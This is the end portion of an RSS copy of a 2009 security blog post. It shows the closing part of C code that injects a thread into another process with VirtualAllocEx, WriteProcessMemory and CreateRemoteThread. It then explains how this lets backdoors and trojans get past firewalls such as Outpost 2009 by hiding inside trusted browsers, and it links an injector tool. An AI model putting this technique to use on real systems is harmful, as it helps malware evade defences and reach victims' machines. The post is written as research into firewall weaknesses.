    hUser <span style="color: #339933;">=</span> LoadLibrary<span style="color: #009900;">&#40;</span> <span style="color: #ff0000;">&quot;user32.dll&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    my_RPar.<span style="color: #202020;">dwMessageBox</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>DWORD<span style="color: #009900;">&#41;</span>GetProcAddress<span style="color: #009900;">&#40;</span>hUser<span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;MessageBoxA&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    GetModuleFileName<span style="color: #009900;">&#40;</span>NULL<span style="color: #339933;">,</span>ExeFile<span style="color: #339933;">,</span><span style="color: #0000dd;">1024</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000066;">printf</span> <span style="color: #009900;">&#40;</span>ExeFile<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    strcpy<span style="color: #009900;">&#40;</span>my_RPar.<span style="color: #202020;">Filename</span><span style="color: #339933;">,</span> ExeFile<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    strcpy<span style="color: #009900;">&#40;</span>my_RPar.<span style="color: #202020;">string1</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;HI Abysssec&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    strcpy<span style="color: #009900;">&#40;</span>my_RPar.<span style="color: #202020;">string2</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;OK&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    pmy_RPar <span style="color: #339933;">=</span><span style="color: #009900;">&#40;</span>RPar <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span>VirtualAllocEx <span style="color: #009900;">&#40;</span>hProcess <span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #339933;">,</span><span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span>RPar<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>MEM_COMMIT<span style="color: #339933;">,</span>PAGE_READWRITE<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    WriteProcessMemory<span style="color: #009900;">&#40;</span>hProcess <span style="color: #339933;">,</span>pmy_RPar<span style="color: #339933;">,&amp;</span>my_RPar<span style="color: #339933;">,</span><span style="color: #993333;">sizeof</span> my_RPar<span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    CreateRemoteThread<span style="color: #009900;">&#40;</span>hProcess <span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #339933;">,</span><span style="color: #009900;">&#40;</span>DWORD <span style="color: #009900;">&#40;</span>__stdcall <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span> <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>pRemoteThread <span style="color: #339933;">,</span>pmy_RPar<span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #339933;">,&amp;</span>dwThreadId<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    FreeLibrary<span style="color: #009900;">&#40;</span>hKernel<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    CloseHandle<span style="color: #009900;">&#40;</span>hProcess<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    system<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;tasklist&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<blockquote></blockquote>
<p><strong>what Happens When Firewall bypass ?</strong></p>
<p><em>in servers :</em></p>
<p>we can call "Internet explorer" or  other trusted Application with [ASP.NET Execute Permission ] and run backdoor in any port .</p>
<p>with this method , we can telnet to open port of server without any worry  .</p>
<p><em>In Client :</em></p>
<p>Backdoor , Trojans , bad software , connect to internet without Access .</p>
<p>Real Word [ Discovered By Abysssec ] test :</p>
<p><strong>Vulnerability Firewall [Outpost 2009 ] :</strong></p>
<p><a href="http://www.agnitum.com/products/outpost/">http://www.agnitum.com/products/outpost/</a></p>
<p>You can Inject Process In IE7 or Mozilla Firefox [default Trusted ] .</p>
<p>[Sorry For more information , This bug is not fixed  , You can test it with Process Injector tools  ].</p>
<p>www.tarasco.org</p>
<p>[pinjector.exe] :</p>
<p><img class="alignnone" title="pinjector" src="http://www.tarasco.org/security/pinjector/pinjector.jpg" alt="" width="590" height="412" /></p>
<p>Download Link + source :</p>
<p><a href="http://www.tarasco.org/security/pinjector/index.html">http://www.tarasco.org/security/pinjector/index.html</a></p>
<p>Final deduction:</p>
<p>1- We can Bypass some firewalls : Don't checked  Allocated Memory in Trusted Process .</p>
<p>2- Dll , Process , PE injection is useful way to run Process without new Prosess ID [PID]  .</p>
<p>In Future :</p>
<p>1- Usage Of these Method In other bypass Protections [hybrid or frees  Protection ]</p>
<p>2 - PE INJECTION , why , what , where !?</p>
<p>More Information :</p>
<p>http://www.tarasco.org/security/pinjector/Win32.Design.Flaws.pdf</p>
<p>http://www.firewallleaktester.com/docs/leaktest.pdf</p>
<p>http://www.bluenotch.com/files/Shewmaker-DLL-Injection.pdf</p>
<p><span class="srcSentence">--------------------------------------------------------------------------------------</span></p>
<p><span class="srcSentence">Happy new year  and holy days</span></p>
<p><span class="srcSentence">god speed you<br />
</span></p>
<p><span class="srcSentence">Daphne<br />
</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2009/01/how-bypass-firewall-with-process-injection/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
